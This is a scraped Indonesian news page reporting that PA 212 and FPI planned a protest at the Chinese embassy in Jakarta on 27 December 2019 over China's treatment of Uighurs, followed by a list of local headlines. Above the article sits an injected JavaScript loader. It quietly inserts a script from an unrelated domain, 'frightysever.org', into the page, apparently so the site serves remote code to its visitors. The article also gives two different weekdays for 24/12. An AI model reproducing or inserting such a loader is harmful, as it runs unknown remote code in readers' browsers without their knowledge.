(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Aksi Bela Uighur Jumat, PA 212 Klaim 10 Ribu Orang Akan Hadir


JAKARTA, Ketua Persaudaraan Alumni 212 Slamet Maarif mengklaim aksi unjuk rasa di depan kantor Kedutaan Besar (Kedubes) China menentang penindasan terhadap etnis Uighur bakal dihadiri sekitar 10 ribu orang. Massa bakal datang dari berbagai daerah ke Jakarta untuk ikut aksi pada Jumat (27/12).

“10 ribuan kurang lebih,” tutur Slamet, Kamis (24/12).

Ia mengatakan pihaknya dan beberapa ormas lain yang bakal menggelar aksi sudah memberitahu Kepolisian. Dalam hal ini Polda Metro Jaya.  “Surat pemberitahuan sejak Selasa (24/12) sudah diterima Polda Metro Jaya,” katanya dilansir cnnindonesia.com.

Selain PA 212, Front Pembela Islam (FPI) juga bakal turut serta dalam aksi menentang penindasan etnis Uighur di depan kantor Kedubes China. Surat edaran telah diterbitkan. Dalam surat, DPP FPI menginstruksikan anggota dan simpatisan seluruh Indonesia untuk datang ke Jakarta mengikuti aksi unjuk rasa.

“Kepada FPI di seluruh Indonesia agar turun ke Jakarta pada hari Jumat, 27 Desember 2019, untuk mengikuti Aksi Bela Muslim Uighur bersama GNPF, PA 212, para habaib, ulama, santri, ormas Islam dan Umat Islam di Kedubes China,” mengutip bunyi surat edaran DPP FPI yang diterbitkan 18 Desember lalu.

Ketua Umum FPI Ahmad Sobri Lubis mengatakan pihaknya mengecam dan mengutuk keras tindakan pemerintah China terhadap etnis Uighur. Dia menilai tindakan yang dilakukan oleh China terhadap etnis Uighur sudah tidak bisa lagi ditolerir.

Sobri mengaku telah menerima informasi bahwa etnis Uighur di China dilarang memiliki dan membaca Alquran. Pemerintah China, lanjutnya, juga mewajibkan etnis Uighur mengikuti kamp re-edukasi.

“Kami akan melakukan aksi nasional di depan Kedubes China atau Tiongkok pada hari Jumat, 27 Desember 2019, pukul 13.00 WIB atau salat Jumat,” ujar Sobri di Jakarta, Jumat (20/12).

Pemerintah China disorot negara-negara lain, termasuk Indonesia, lantaran diduga melakukan tindakan keras terhadap etnis Uighur dan minoritas muslim. Akan tetapi, Pemerintah China membantah kamp Xinjiang digunakan untuk menindas etnis Uighur. Mereka mengklaim kamp tersebut digunakan untuk melatih keterampilan etnis Islam Uighur. (bmw)

Reporter : Bmw
Editor : Chell


Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

6 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

6 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

6 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

7 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

7 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

9 jam ago

This website uses cookies.